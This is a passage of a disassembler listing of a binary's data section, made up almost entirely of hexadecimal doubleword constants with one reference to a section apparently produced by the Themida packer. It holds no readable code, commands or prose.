3B19F313h, 96BE4C89h, 8F1291ACh, 10BE584Fh dd 0A34B47BFh, 1029F998h, 0F4233D9Dh, 5CA860FDh, 89377A00h dd 919B619Ch, 4BBB58ABh, 0F2947FC0h, 0A100B0B1h, 38E64948h dd 12026C4Fh, 0F3F68296h, 9E032405h, 6A3E1B10h, 3CEF808Bh dd 85DCE02h, 24CF7h, 0DFEA313Fh, 33202BC6h, 11FA7900h dd 26A47D4Ah, 9795FE90h, 5684F633h, 5DCD1C8h, 0A5B69B70h dd 0E94DAAB8h, 2B81F1h, 6EB7E7FBh, 820888h, 75B2C5C3h dd 0EF249723h, 6B32FED5h, 0C64455F9h, 96135D23h, 304416FCh dd 636C9E07h, 38961800h, 5BD92F9Fh, 4BFF7240h, 29DA8033h dd 235A8D95h, 0FEDB8742h, 0ACD45C1Eh, 0D1602589h, 0E5FB16BFh dd 0E98A30D1h, 85390154h, 0A2317D25h, 55131D6Ch, 887AB99h dd 58D31F81h, 0AA1E52DBh, 291AC662h, 0E90D257Eh, 0C82F115Bh dd 8C0026C1h, 0F75995BEh, 0BEFD354h, 75830B53h, 12D29B55h dd 0E6289980h, 0A63422CBh, 0C18100E1h, 2019DF63h, 0A509D951h dd 563F8D91h, 1F101088h, 2D28835Bh, 0D9A84195h, 3B7808C6h dd 1B75BD09h, 1050A056h, 0A6E45E22h, 0A4DCF09Dh, 87290227h dd 6A9EC231h, 2DEF654h, 0A30FDD48h, 0C67502AAh, 46BB09BFh dd 4A5D0E8Eh, 0AD6F55ACh, 0AC80F244h, 95B9B72Fh, 0F8148F76h dd 0BBDB4AC0h, 0AEF920C6h, 2BFD914Dh, 67584DFCh, 26EE04F0h dd 0AFC02B0Ah, 28818CDBh, 7E974083h, 0A230A3E1h, 2B3040A9h dd 0F88BD212h, 0B9B48EADh, 60A8DBh, 0A0F657DDh, 0B464C426h dd 0FF4AFD90h, 9714E4E0h, 7DB3F214h, 13FD6A58h, 0D5A5B3D6h dd 0E8ADB934h, 0BC2E4836h, 0D1020916h, 2E20E51Ah, 9D09DD70h dd 0AC284A81h, 0B17DED37h, 4A00ACA8h, 0C6AAFF8Ah, 277E5D08h dd 0A5648F0Fh, 7D488742h, 0D09FE522h, 0C204FF77h, 0C65C6A0Ah dd 0E2154151h, 98230033h, 66BF1E88h, 460E6210h, 741FFDh dd 25B9BBC0h, 0FC242515h, 38F8B2C6h, 69F4F817h, 802F4AF0h dd 2909E1FFh, 0DB0DF1B5h, 1341A444h, 2C2CABA9h, 0F525C94Ch dd 59475E71h, 0F483D6EBh, 0CD804800h, 0C065C51h, 8A274BCCh dd 55F23481h, 7C919F82h, 6F60124Eh, 94FE024Dh, 0D4DE99A3h dd 486225DBh, 338B777h, 0D80FEC60h, 4457A79Ah, 0DE410029h dd 8C545263h, 0E72C2844h, 0F3007DA3h, 805F6A35h, 2098BFE1h dd 0DF07051Dh, 0F5BE6C8Bh, 4B37DC20h, 0B2AB4A9Ch, 9A62006Bh dd 0F8638C01h, 8271006Fh, 0A5FED7F7h, 59006A70h, 0BF24355Eh dd 2145346Ch, 4915B56h, 51FBF827h, 0D61CA6h, 0B7D1B450h dd 0BCAFA577h, 55DFD8C2h dd 0E95E5C4Bh, 5F407AEDh, 243F7E6Fh, 97556C8h, 6E5D0641h dd 950F766Bh, 0F3824F59h, 5E6ABB6Ch, 0D902DECBh, 9DD7ECE8h dd 0AB1B7760h, 3F52825Ah, 61F19000h, 24B0A968h, 294BB845h dd 0FA56139Bh, 3FC77E17h, 47D95371h, 0ABF00666h, 5E0BDBB0h dd 7E877E07h, 0A83316D0h, 0CA88B7E7h, 1BF90B8Dh, 46F3B390h dd 0D7E92E16h, 31120FA2h, 62E1B730h, 561A61E6h, 0A2DE5AC1h dd 0CF2E50D4h, 5260890Eh, 816405A2h, 4A120920h, 8AC8CC61h dd 76A9DC4Eh, 1726FE88h, 236E2FDEh, 0A3079744h, 5A01A0C7h dd 0F7E3C0EEh, 17AEF52Eh, 48C0DA3Ah, 5F0E15B5h, 9D012160h dd 89BF3469h, 0B31A4998h, 0ED4D8D03h, 0A591774Bh, 533D7B49h dd 858079FBh, 0A8289935h, 69379052h, 46F48D04h, 0F2BC6AE9h dd 317D1901h, 52F0BF58h, 0ADF0C62Fh, 66965F02h, 5E2D6FBBh dd 88CABC82h, 9700ADFFh, 2DB35EAFh, 1D931E14h, 0C96632E1h dd 371C569h, 0DE64DC25h, 0AD6ED700h, 0BB7B7E93h, 0CAF208AFh dd 84BF05E8h, 7A3ACEE1h, 1DD6881h, 8768B581h, 316413B2h dd 29806A04h, 0F30CB178h, 83F08276h, 657B7526h, 0FC533204h dd 16BEF90Eh, 2A1BA1C1h, 0BFCFF970h, 565004B1h, 0AB5FD88Bh dd 0BC5AAA7Bh, 6EC14B57h, 0EF221289h, 3004F889h, 0B209B8DFh dd 51DD54F9h, 909E7A63h, 1C084FC3h, 25CCAFADh, 8ABC4F76h dd 5BF51C90h, 7B46E949h, 64C2D8D3h, 771A5Ch, 0BA479BFFh dd 25B589C7h, 0F7672E1Dh, 4C049D74h, 13DD140Eh, 38AA2CADh dd 44A4A1Eh, 0F1A117E7h, 0B48DF08Fh, 0F999FC26h, 7122D909h dd 6B15C6E6h, 9D4A2B7Dh, 0B9893C5Dh, 0EB8AFC18h, 0AB847963h dd 9D0B7E70h, 8B6AEDB9h, 46A4F80h, 486A090Eh, 78E4B620h dd 0A549AF84h, 125A12A7h, 0BE4813E3h, 599D231Ch, 3E8DB933h dd 0F61E390h, 1091BD8Fh, 0B350E4D7h, 0F312705Fh, 78E0C7A6h dd 633EEF23h, 199ACB2Dh, 0CC01AC8h, 1611EB70h, 926F169h dd 1202DAD0h, 4E552D25h, 293B98C3h, 5EB21681h, 8A67B000h dd 0B3799AEAh, 0F92D25B6h, 880097D1h, 31FBE60Ah, 0A15503EEh dd 0D1EF817Bh, 0AA5EC497h, 67F4D89Dh, 957198C6h, 0F4EE1A8Bh dd 91AC1B00h, 0BBEEBFD6h, 700700D0h, 7B356F1Ch, 77508B88h dd 6402DE2h, 24CBD5Bh, 9248CB3Ch, 13E16B30h, 0B6C0781Ah dd 0B72C9A4Fh, 7D7B6809h, 481AD5ABh, 0C8B5DDh, 0CEE6B70Ah dd 53954B31h, 456225D7h, 0DF4B65Ch, 0A9EB6847h, 28823A3Eh dd 5796D504h, 0E1580B93h, 16E5E2ABh, 0F09A51E3h, 29801B43h dd 19212F85h, 6D955616h, 0FED0407Ah, 9614DBE8h, 10EEA029h dd 177F26D1h, 0FDF780h, 0D6BF5328h, 7A780F22h, 83BF297h dd 4373CE2Ch, 0EC001391h, 0A07B4D3Dh, 0BB00D635h, 0B2DABCB8h dd 95F9C3Fh, 0EA97F28Ah, 600002D0h, 8BA2ED80h, 2F3361F0h dd 2E89A1BDh, 4F989555h, 4E98B9E0h, 51497BFCh, 0FBD2167Eh dd 22F0A82h, 0B75C13B7h, 84B0B5E9h, 0B87C2F3Ch, 8738A3A3h dd 0DE145409h, 0F7E0554Bh, 3AF6AB65h, 50408D0Ch, 6DD7BB04h dd 91D45ADDh, 1A999E04h, 0CD36BE29h, 87A65A4Bh, 283017B2h dd 22022540h, 0B89EA140h, 919C3597h, 3CAD8019h, 5155610Eh dd 0E2D6CE4Ah, 0FC155592h, 396DE760h, 7CCE014Bh, 0A5952988h dd 0F3A32A2Fh, 6A38588Dh, 0B6F23FA6h, 0DD401774h, 2B469DAh dd 0AC9ACFB8h, 645C0286h, 0D0EA5BADh, 1A5048BCh, 1D4B29F3h dd 8E6A5D89h, 15EF00E4h, 0E93F0380h, 0E46295AAh, 4DCE57Eh dd 8507CB41h, 0D188BAE2h, 0C6550035h, 97241D61h, 0C2045EDCh dd 5A457ED5h, 58A217F0h, 0C1280E52h, 4A125E9h, 0FCE4CF54h dd 0BBDF02BFh, 2055E232h, 1B52981h, 1394A423h, 0F8CFEF80h dd 80BD4FC2h, 0FC6122E8h, 0E4B1A37Ch, 0F047E62Ah, 577E13Eh dd 7DD2949Fh, 3C07A2FCh, 0FA1B8132h, 9AFB914Bh, 0A03A1CC1h dd 0FAA83D0Ch, 9975B61h, 4035503Eh, 0B3259019h, 0F9D287B1h dd 701E5B7Bh, 777E90BCh, 2C40E309h, 2DADF8B6h, 54542A55h dd 3B30BD7Eh, 93018873h, 0DEA94DABh, 0B03F7CDBh, 0F802FAAh dd 0C91A958Ch, 96E0AACDh, 27C918BCh, 76589D67h, 0F95649BFh dd 3B4DDD6Ah, 41800CDAh, 8D2957F9h, 5F4024B5h, 2F693181h dd 30519D2Bh, 6BFCF77h, 5F7EB7CDh, 1976ED1h, 0E7A9C471h dd 3B35EAh, 0BFE99CBCh, 65259E10h, 1394C512h, 0C9C9DE8Ch dd 0D0AD733Eh, 78006B87h, 3E5D48F5h, 9F75B0A5h, 660BA470h dd 49AB83BFh, 9B6882C9h, 0CE3245C5h, 876A4F40h, 0CF143639h dd 6524A2FFh, 2DE51C01h, 52AD7210h, 0C794E925h, 0E9C83F83h dd 0F3C6A65Eh, 0F9EB9B58h, 86E532C6h, 0EB8F122Bh, 6C01046Eh dd 43AA2A48h, 85DCE672h, 6088D425h, 4DA50DFEh, 0AD6D7300h dd 8BA8D650h, 59640157h, 0DD38F480h, 5FD9E4BFh, 7D9E1A97h dd 12206A84h, 0F679702h, 0FF5150h, 4A26063h, 7612F0DFh dd 0D1EA1EB5h, 6A2E4DBDh, 0E64EA4CAh, 3D0FE0D8h, 2FD3A7Eh dd 0E2643312h, 1FE43B72h, 978185F8h, 65AB2B3Fh, 890BAD3Ah dd 3BE273F5h, 13BD9509h, 0C97BCD5Dh, 0D0348138h, 0B7E653h dd 277B3A09h, 7C9B86h, 0B1D94547h, 0CC43ACADh, 7D02F0E6h dd 6A5B72C2h, 0DCA15EFFh, 9FA79303h, 0BA80B484h, 91D48515h dd 0B50906BDh, 1CF604A9h, 0D83F4BF4h, 2388260Bh, 0EA94ABDh dd 0EDCC29D0h, 0FE0B067h, 0C80C8D22h, 39A6060Ch, 8892D525h dd 1968ED87h, 0F6E71955h, 41706016h, 44FFC695h, 4700A710h dd 1D651C46h, 1168880h, 87E0C55Ah, 2A78688Eh, 11C4D8F8h dd 85C14B16h, 0F75271BDh, 48119E0h, 0F92F32D3h, 4914BC11h dd 0D2049231h, 2B0417BDh, 0CD1782C8h, 0EBD12885h, 1AE94531h dd 32C06239h, 0EC8B5FA3h, 81428800h, 483733B6h, 5164010Fh dd 0D3809115h, 8551705Ch, 0AF260124h, 788A494Eh, 12DC903Ah dd 0F429A143h, 64BF8934h, 0D88B252Ah, 100C3CE9h, 9952E9F8h dd 33AD8D92h, 3BA27A2Dh, 538E0F14h, 560B0C64h, 4549088h dd 631970CAh, 883FBC5Fh, 0E9C1AF26h, 36BF002Fh, 79120AB8h dd 131A583h, 0A99D29FEh, 41443D2Ch, 0ECF49270h, 510931F6h dd 533DE42Bh, 0F7013B2Ch, 3B460708h, 82802F6Ch, 715B589Dh dd 12DFD601h, 89A6B170h, 7DA23D20h, 0EF6A4AD4h, 0AD5A266Eh dd 0DCCA82A7h, 1D8B8203h, 9795D01h, 40606D4Bh, 45622B78h dd 9D46F600h, 8A8FE7F4h, 833091DEh, 245E66A5h, 0D7F128D0h dd 9B40809h, 496AFCB1h, 1FCD863h, 816B95Bh, 0E57A447Ah dd 0DF921D2Ah, 0CE6C70F1h, 0B092BD93h, 3BDB8130h, 6A171232h dd 0E74DF6FCh, 2CB8EC14h, 8512A594h, 7845F22Eh, 714329B7h dd 96EEA49h, 35B1195h, 0E9636D0h, 631F339Eh, 4D99D62h dd 55C9495Eh, 0C9B599B0h, 201012E7h, 26CAFA38h, 518E6E0Eh dd 1D70609Fh, 2534743Dh, 4AED398Ah, 0CB601664h, 0A19054CCh dd 45CA3D4Bh, 4BF56650h, 0D343CA71h, 0ECE0D730h, 98AEE8Fh dd 9C3717FCh, 33E90902h, 44DE1C57h, 0DAAAF85Eh, 0A9BD77h dd 0CD79EC8Ah, 0DD043B30h, 58EF80B0h, 89C126BCh, 6A0565B5h dd 6A4E61B3h, 58F14E86h, 2BC0E3F9h, 0CA7A4BF5h, 26232235h dd 69940160h, 0B0A2E65Fh, 0DCD20EFFh, 0F2326118h, 5C1C8949h dd 0F906F699h, 0EE2D55Eh, 4B2CF068h, 214ACA59h, 0A58504B4h dd 9D23411Ch, 0C96A1A21h, 80DB6092h, 0FC95DB4Bh, 8B8B2A9h dd 4A839258h, 4B4A7DD8h, 41F392C7h, 95D38429h, 0ACF9FD57h dd 0D9028C19h, 0A357C31h dd 4E907701h, 0C804EF22h, 51B75B66h, 832F29E0h, 0C99D09C8h dd 68E21D4Ah, 0A1E7A6D2h, 0B3206457h, 801640FDh, 40A7CB2Dh dd 0B692E814h, 0DD8A0937h, 0BA3D525Ch, 122613B3h, 0ED4E7EFCh dd 0C8C8BDD0h, 0D20EFC6Ah, 8C00BB40h, 48169868h, 47779E3Eh dd 2751E0AEh, 8400BF0Ch, 7D37CE54h, 0E641430Fh, 3A45B58Ah dd 61B05F92h, 57151367h, 825CDB3Eh, 57B531A0h, 2BF52C69h dd 0F98B2131h, 0FB0F652Fh, 27E99AC8h, 9E7C0208h, 0E9801CF4h dd 2E01442Ch, 0AD20BB1Fh, 2566570Dh, 30E6CF38h, 71BD2909h dd 0DEF15623h, 0DB021846h, 0F35C0CF6h, 0C625DE74h, 9564B523h dd 0CA3D8300h, 38156E4Fh, 0F5600594h, 0AA615E53h, 0A004AA99h dd 891718EDh, 11E20406h, 10A31401h, 0FFE52621h, 0FA3F106Bh dd 7086BA81h, 0F2892585h, 8044377Fh, 0CE15AC5Fh, 4D4BD8A6h dd 8006ACF0h, 8CA16096h, 53B9CCCAh, 5061B00Fh, 3FBA6056h dd 57257DFh, 0AF1A2B8h, 96870B32h, 6A237C61h, 0EFA4ACA2h dd 80290A23h, 2F534D5h, 4A9752ECh, 76C17503h, 0B54ECBFBh dd 1E4D62C8h, 0C3CC3B11h, 8B771464h, 897AB780h, 100C15A1h dd 0A7F4DDh, 0CD27C866h db 1Eh byte_511491 db 0AAh, 0FFh, 8Ah ; DATA XREF: Themida_:005677E8o dd 5B589225h, 3EF17036h, 2FF990A0h, 4BEA3B97h, 90814B18h dd 0C06FE9DEh, 0A7CDA63Dh, 12DB90A9h, 885AF08Bh, 9C003260h dd 5F4BB8C0h, 162BBAA3h, 0EC9F5524h, 5A36D4CFh, 4173D9A2h dd 9B206A5Fh, 4C7A6Bh, 7B1FBB8Bh, 922FB26Ah, 40B8EF16h dd 0B313EAADh, 0F66153B9h, 0CEF9E04Dh, 26302702h, 8D859E60h dd 36DD084Bh, 139F7030h, 0AA209659h, 0B081E538h, 0B8A0125Eh dd 8D3AE208h, 19602731h, 44E92751h, 0D18024BDh, 0E1E63042h dd 9E87600Fh, 5111E0CFh, 7603C795h, 39D4E0B6h, 2BDC201Bh dd 0EB83F04Dh, 0A0940A2h, 7942CFF7h, 4BB6472Eh, 0F4407Eh dd 5626025Ch, 4C13B1E7h, 95FCC697h, 0FA85A5E4h, 0F4697B9Ah dd 9C950594h, 1DF5F328h, 10D69D0Bh, 0B9B5ACACh, 0F46BA9CEh dd 9505E9B3h, 8C25A4AAh, 74B477ABh, 34EF1717h, 4398AA3Dh dd 0ED854D9Dh, 5D96F813h, 0AD102756h, 2E01CFECh, 0BF66A07Dh dd 117067CBh, 26B125BDh, 0F6949B4Eh, 0B6EE8144h, 0C11B00CDh dd 0DC72675h, 891716F4h, 25C3E98Dh, 0B003E65Bh, 0CA1A2961h dd 60862466h, 3C1F263Dh, 40026EE0h, 0EAC15688h, 54DD50Fh dd 0FB601765h, 4A136B20h, 0DA4A886Eh, 0B97DD101h, 0BAA6D074h dd 0B72ACCCDh, 20FE233Bh, 143D258Dh, 0BF01F959h, 0CF99430h dd 6FC6122Eh, 0E0C20000h, 476F9EDAh, 0DC6950DEh, 30640ADh dd 1D01BD12h, 0EDD71BB9h, 5FE6B874h, 1054FCDBh, 0F65C2541h dd 0E3C06912h, 95165AFDh, 0FDD157BFh, 0A8BC89h, 4551F4B7h dd 1698F1E3h, 22050948h, 0DAA5A029h, 0CEB995C7h, 4BA538A9h dd 1AACD5FDh, 7D31C8Ch, 9046C55Dh, 49A8A811h, 96E60032h dd 12D789BBh, 4B8D907Bh, 291B81DEh, 29DCCB9Dh, 0D4C49141h dd 0DA8E752Eh, 0D83B82EFh, 995748Bh, 955512C9h, 775B2547h dd 60CC50h, 0F732D8B5h, 0DF81FF87h, 0CB92280Bh, 946E0078h dd 557C79Eh, 62BF5350h, 0EAEE8456h, 3D9B4A95h, 31748BC0h dd 2C52B595h, 6B04D39Fh, 0B9B84B53h, 0B18D09C1h, 102B3A1Ah dd 378F7A83h, 0A03DC0FDh, 0D279D31h, 0B956C82Bh, 0A2379726h dd 0A6801C91h, 7923C2D4h, 0C5CC8A09h, 449E7162h, 3EAC5354h dd 2D79B5D2h, 1D3FE84Ch, 0C96C8F29h, 0F6FCC6FDh, 93B33FF4h dd 7BF53D87h, 0B86B6448h, 86ECB59Ah, 0F0E9B162h, 0B72F9A5Ch dd 603F00C9h, 0DF2D2BFh, 8D856D50h, 95611340h, 5A40F26Fh dd 2B4EF9Eh, 1E293C96h, 0E8C6E4EEh, 74A5DA27h, 0ADF5924Dh dd 3FFFD7F9h, 109B2DF5h, 7C2355Bh, 0F5600CFAh, 0AF75B540h dd 4563E1Eh, 0F92589ADh, 4AD0725Bh, 0E4CB05F0h, 0AED98A3Fh dd 2B8D484h, 0D529BA92h, 0C168DE85h, 8539DEE4h, 71FA6701h dd 6F57530Ch, 0D8AFAB1Ch, 2B0641AAh, 0B70FDC00h, 0DBB50FEh dd 759EFC5Ch, 2B6E6FFBh, 0EADE5600h, 0BF74DA96h, 0C99B7D04h dd 9BAE6A5Eh, 2BB4C2A2h, 0B8105F4Eh, 0AA0E97B2h, 0BAF561AEh dd 0C15BED54h, 30B445D8h, 2F418D2Fh, 4E01BDD8h, 0B374FA02h dd 0BDD58CBBh, 7944855Fh, 0BF400588h, 11131E22h, 5A4553BDh dd 0E000C04Eh, 0BF52570Bh, 50C6280Ah, 5FFFDD02h, 9A17DBD1h dd 51CD56ECh, 34FE1484h, 0FD9AC17Ah, 5DA37A24h, 0B2AC8C4Dh dd 0A1206A4Eh, 8AF631h, 9B0FC5D3h, 51605077h, 32EF5A4Eh dd 0A977F131h, 5A98DFBEh, 0E82EB756h, 0D752215Bh, 1F008035h dd 63270E6Ah, 0F13A4865h, 0E5D0C42Fh, 25195D20h, 0C5C7B3E9h dd 0C17208h, 95F29BBh, 8D39314Bh, 20E7DA61h, 904FB05Eh dd 50F98A07h, 576B21B3h, 0FA0BE6B7h, 1271A060h, 548D2335h dd 9761DF71h, 6DF67A0Bh, 46712FFCh, 0C29C2A50h, 23655B69h dd 2EF9595Dh, 18237B6Bh, 0E1913100h, 48A17C0h, 0FFF6AFDh dd 0DF178C8Ch, 72BF33B8h, 0DCB7BE48h, 6D82D70Fh, 256AC0E6h dd 97EDB8F2h, 80FE4D31h, 0F0816031h, 4FE383ABh, 2ECA0854h dd 9B0610Eh, 3E70FCh, 0E71AF781h, 858971E4h, 6404912Dh dd 0B9CA254Eh, 16D14AC9h, 1E71254Ch, 1794AC4h, 73321D25h dd 83F2C5Ch, 0C1961871h, 0B52542AAh, 81183211h, 22C57EDBh dd 0ACCC3193h, 90D13928h, 0A1C49D79h, 61D157A3h, 0AFB26EE9h dd 0E4C12C8Fh, 2F1EA8F3h, 1A3D5681h, 0B5952900h, 0C0929F96h dd 0D523F692h, 21142245h, 74B385A1h, 708C19AEh, 9E9C2F51h dd 838400CCh, 8C1043Ch, 0E50123CEh, 21DE8FABh, 0A82AF65Ch dd 0FB489942h, 0D42FDE21h, 21CABFC4h, 71BD2B0Bh, 0A5506B7Ah dd 0AEC4FE1Eh, 0AC1019D1h, 18896C41h, 565C0125h, 5D3AAC50h dd 7E8F6E4h, 50F0A906h, 98422933h, 69C16521h, 0FACDD42Bh dd 96AC7EB2h, 0A334DB16h, 31804EBCh, 0DF7060E1h, 0A288CC09h dd 38C2549Ch, 80CA5F40h, 74AF9319h, 0A859383Dh, 0FB062DE8h dd 45950176h, 55CB82DFh, 7F804DB7h, 11C49959h, 87D39DFCh dd 70457870h, 89532D94h, 5B44A856h, 8D311B8h, 0BA1406F8h dd 7156240Bh, 12127508h, 0B45FB95Fh, 31C6C6DAh, 65207848h dd 435B9726h, 0D211D92h, 5CDAA9BDh, 0BF66C01Eh, 8B25FB5Bh dd 0D6A4D6DEh, 60091646h, 0FD5A274Bh, 4B4BDB5h, 0AA3606B6h dd 8FBF5AD0h, 2535257Dh, 0B6B20C5h, 0F88199AEh, 3F2E8AE5h dd 4FD4708h, 1CFE5FFh, 7D80E4ECh, 0FE183B4Dh, 0BCB76000h dd 6B4BC4ABh, 95D204DCh, 0B89705A5h, 2F5DA251h, 63F272h dd 0DD9E18DBh, 0EF94A75h, 0D28985BCh, 72482402h, 4F902E46h dd 5625AD25h, 0B55F5A03h, 589800B5h, 0CA6533CCh, 7EAA0702h dd 5531524Ch, 92B0C3E4h, 0F381E107h, 2861D313h, 292E35B7h dd 0CD29E650h, 98DC047h, 48098C18h, 7DB6DE4Ah, 3578D290h dd 0C7421E00h, 0FE49B0A9h, 50D30227h, 0D97E01DCh, 7BD5C241h dd 282B9FB5h, 0A28A527Ah, 7D1341BFh, 867B219Ch, 0BC7AC3D5h dd 0B82225F5h, 595E8977h, 0CA89AF75h, 0F7E67358h, 4E91534Bh dd 9E6E0140h, 8BD78118h, 5AF0FFE4h, 587F743Bh, 0E0C2B960h dd 0C55F86D9h, 0C2402F11h, 3309BB61h, 0D5603443h, 58408015h dd 576E9AAh, 0E17062ACh, 25A1BC71h, 9577CE25h, 2075D082h dd 0B053E657h, 1CE9206Ah, 9EC9504Ah, 0D44FBB69h, 0ADB1D4A9h dd 6EAE4E9Ch, 699901E1h, 53572E89h, 0C1282671h, 42A95C4h dd 4EC1685Bh, 32E7043h, 5C4F764Bh, 0E034B6BDh, 5DFB7C9h dd 0EFB6954Dh, 9774ABF5h, 1FA0D1E6h, 100845Ah, 269DD856h dd 2D8D317Fh, 545406EDh, 623276EBh, 775027E9h, 48C5034Bh dd 235E6FAAh, 6F090216h, 905F53F8h, 38C6871Ch, 178F1103h dd 8CC042F2h, 5B406CB5h, 0EA4C51B5h, 0B9003A0Fh, 6C70BF60h dd 5B95747Ch, 0D4C8AE0Ah, 18C1F400h, 52EFCCD4h, 0B4C02848h dd 112925F6h, 851072C4h, 98401051h, 9F0D9AD5h, 0D35A1EFBh dd 0A78B0006h, 0C08EAF87h, 33AABA09h, 40C4D657h, 0B3075985h dd 16F88400h, 4676F38Ah, 0C223001Dh, 5F2737A8h, 2009C381h dd 707C11B9h, 0D2B79D91h, 0A4658D00h, 976390Eh, 6CB7907Ch dd 41253BE1h, 161D7Ch, 1606BB50h, 0AD107F70h, 2DBD1C91h dd 0B789CE65h, 8C593489h, 0CDAE5145h, 0C65FDD94h, 0CB60C2D6h dd 0A1F1EE8h, 46C478A4h, 52B73095h, 103BB60h, 6177FFE5h dd 0CCAFEC5Fh, 45006704h, 0C496ECB9h, 2D14BB66h, 4D7B5FA8h dd 0C04DCD2Fh, 349BBE9Ah, 289E0495h, 0D489922h, 0FB97858Dh dd 0D0AFF04Dh, 49636B00h, 90B7027Fh, 0F1F0D650h, 65B66A67h dd 5CE00A6Ch, 212D86Bh, 5490FE7Bh, 0E909DC70h, 573C6F4Dh dd 62A117B5h, 0F9D8F280h dd 4D9C992h, 0FC8AD22Dh, 0E0C8E661h, 25D9E49Dh, 0B2C51572h dd 5DB58982h, 0B2C4932Dh, 0F29C551Ch, 0FD332969h, 0CD7D3F62h dd 9F2FE0B6h, 64BF29F5h, 4553954Ah, 8018115Fh, 4CE6E584h dd 0A94D97D7h, 0F50195C0h, 566A0437h, 0B8D88A73h, 2BFFA2C6h dd 2953E2D0h, 27ECCCE0h, 3EE80BBBh, 38552B2Ah, 971CC197h dd 4D959D16h, 0B08F4095h, 3C02D8BFh, 49EC7A0Bh, 60375CD2h dd 0FE19589h, 53973A97h, 4F667062h, 142B4A09h, 2038D00Ch dd 800904B9h, 0E450FEDFh, 14D33856h, 23C6A789h, 0BBDA18D5h dd 887626EDh, 0ABF893C5h, 1823096Bh, 84417B02h, 0F8AE6166h dd 0C8E2DA6Ah, 0F341CE18h, 2E2E2F5Eh, 2014DC62h, 21D3A6EBh dd 983BF00h, 5F940A66h, 456B0072h, 0D8A2EC65h, 6CB527C9h dd 8CDA4BD6h, 6905B3B8h, 86D8D01h, 69892DEBh, 0BFE8A829h dd 0DA17EF6Eh, 6FBEC283h, 0C91A167Bh, 0F7B08852h, 85032560h dd 0B532EF44h, 5C61DDCDh, 476DE9D6h, 30DC5140h, 85C1BDF0h dd 7EB72A26h, 520BB4Ah, 4B9AC780h, 0F4B8A66Ah, 0C747A4EEh dd 0E304384Ah, 0CDB9AA1Bh, 2906F5C4h, 1A71822Fh, 21EA9604h dd 0C0BC5EDEh, 0B0076EEh, 544F9084h, 7265EBh, 0BFC079C9h dd 830FD828h, 0D09FD1ACh, 2B960428h, 0AE0209BDh, 14237C6Fh dd 0A3E01317h, 73BF882Dh, 61BA8762h, 303AD719h, 1AC3845Dh dd 47E2CCB8h, 95B50920h, 17D1B713h, 0D4A6B30Bh, 49C6691Ah dd 0F3B7F198h, 0A35B52D4h, 3A846505h, 0A92687C0h, 7DC9A0E1h dd 3592A525h, 0ABF584ECh, 6A7F702Dh, 8EA807F2h, 0E6707EABh dd 581BF42h, 0B7E8DDF7h, 492AAF3Ch, 8595B280h, 3110CD48h dd 0B9C511BDh, 0A052A701h, 2D4356BAh, 6354BD89h, 30F85FD2h dd 94EB7B5h, 1ADD7CEDh, 8BFA051Ah, 0BF5BF820h, 0EA5F025Dh dd 0D0B75615h, 0B5DD94D5h, 53FD035h, 86EDCB37h, 80964CA8h dd 0BD0A79DEh, 3C179D74h, 0AE0F035Ah, 8BB9B201h, 0C00C9BE5h dd 3113E4DFh, 9E17616h, 46E9FB8Bh, 8DF60F78h, 0D17FFEE3h dd 42ECF267h, 0A16E2300h, 91F6961Eh, 2511B8F8h, 99731821h dd 5E2C2A8h, 66BF0486h, 0A523AA58h, 4A2E38B5h, 0A400AA6Eh dd 3BA9904Eh, 2D136FE4h, 8F076298h, 0D5596EC7h, 88008A3Dh dd 2B68875Ah, 0BF0E19F2h, 23B5E296h, 88244AD4h, 3B230ABh dd 569FFD9Dh, 0D13742B3h, 8A6A0009h, 0E29529B2h, 625B9D14h dd 0F58CC2Bh, 1D5E706Ah, 0BCD78130h, 90320E89h, 0A689515Eh dd 0F16168E8h, 6D90893Bh, 983EB954h, 9B2775CCh, 52369045h dd 0BB91008Bh, 4E9E6B7Dh, 65E8302Ah, 71C6B754h, 7B6AAC2Fh dd 3FDD785Ch, 0A97E5116h, 7F4F4D88h, 0F14413E4h, 0F69BEF6Ah dd 665B0780h, 0FE1291A4h, 9AAA86BFh, 291D8A5Eh, 800C9A40h dd 7D2107E1h, 8940D2C9h, 5940F154h, 180C8B9h, 7EC5204Dh dd 0E05396B5h, 0F301A82Eh, 799249ACh, 68D0BBFBh, 5B6225DFh dd 0F5043AE6h, 0E7B7D1FFh, 59A2FAB8h, 0F4EA5F12h, 459CDC63h dd 0C5AB55B7h, 89DEFAB3h, 0D773B1C9h, 6181C59h, 0D9E8BC00h dd 0F8EB093Eh, 0E7E92DA7h, 41705554h, 26F881D1h, 0EEB6F091h dd 3DB4250Ch, 7BEB055Ch, 0BB10506Bh, 0DCB9F902h, 0E352907Ah dd 0F802C882h, 126E7985h, 0E633EF80h, 3014E2E0h, 0E409BFB9h dd 5517A3ECh, 571224Eh, 0DC292E85h, 393C3658h, 6A771383h dd 32CF4F0Fh, 0A7E82EB9h, 9570F604h, 0CDAB567Bh, 0A1F32AAFh dd 8A7C5F25h, 5324254Bh, 1FD5F2C1h, 0C8F3A23Ah, 0C4FAB721h dd 1B22AE30h, 691A5E80h, 70E6ECB0h, 0D99D2916h, 3FBF2FC0h dd 2528E63Dh, 84C471E4h, 4D44CF01h, 477B9A1Ch, 0E8E0482Eh dd 0BAFC04A7h, 5358DEB8h, 0E6313512h, 0C7F14CDEh, 97B04928h dd 968F9DEh, 47F5913Dh, 8504235Ch, 0BF351235h, 3DA0A38Ch dd 3B000E49h, 0CD23B671h, 997D442h, 404E7EF9h, 6DEED9B8h dd 0F4673A00h, 402B2601h, 0F6E101AFh, 0CAA718FAh, 0B0B2FC1h dd 24AD61D1h, 4880E901h, 8508593h, 0DF16816Eh, 0CF049244h dd 0F9B817BDh, 88D71C98h, 0EF04D874h, 4C061CC9h, 2E5261Ch dd 9023396h, 1595045Eh, 3FF71E2Ah, 0DB2F35AEh, 3E0880D8h dd 66C6C02Ah, 0FF8D8B1Ah, 6625503h, 945523E2h, 0CC57671Ch dd 4B5CAB89h, 0FE031D48h, 687D9D31h, 1F6F483Dh, 6A53E0Bh dd 0BF08F7C5h, 0FB602751h, 7125BD01h, 0C0D1CE05h, 7ADDDBCAh dd 107041B9h, 7861D39Dh, 2A0215F0h, 0DCAF4555h, 9C3FEB6h dd 0A273201Dh, 7DBB527h, 4007A9A4h, 0C9B589EEh, 0BFBB2360h dd 62FC03A5h, 6E820C50h, 0B3608B5Ch, 9D22B6Dh, 23EDBD0Bh dd 0BFD89856h, 49A413C6h, 0E0FCF64Ah, 189F59Bh, 0D454BAE2h dd 2E8A69A8h, 6EAA7724h, 5A92096Eh, 5A8F7379h, 927F9F3Ah dd 407DF44Eh, 0ABF4E17Dh, 5F12DC00h, 254BCE60h, 97C8EA09h dd 